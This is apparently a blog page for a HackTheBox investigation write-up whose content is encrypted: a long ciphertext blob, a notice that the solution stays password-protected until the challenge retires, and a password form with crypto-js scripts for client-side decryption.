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;^</div> <div id="pec-decrypted-content"> <span><strong><i>This investigation is currently active on HackTheBox, thus is required to be password protected. You will need to wait until the investigation is retired for the full solution.</i></strong></span> </div> <form id="pec-decrypt-form"> <label for="pec-content-password">Password</label> <input type="password" id="pec-content-password" placeholder="Password" /> <button type="button" id="pec-decrypt-content">Decrypt</button> </form> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/core.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/enc-base64.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/cipher-core.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/pad-nopadding.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/md5.js"></script> <script type="text/javascript" 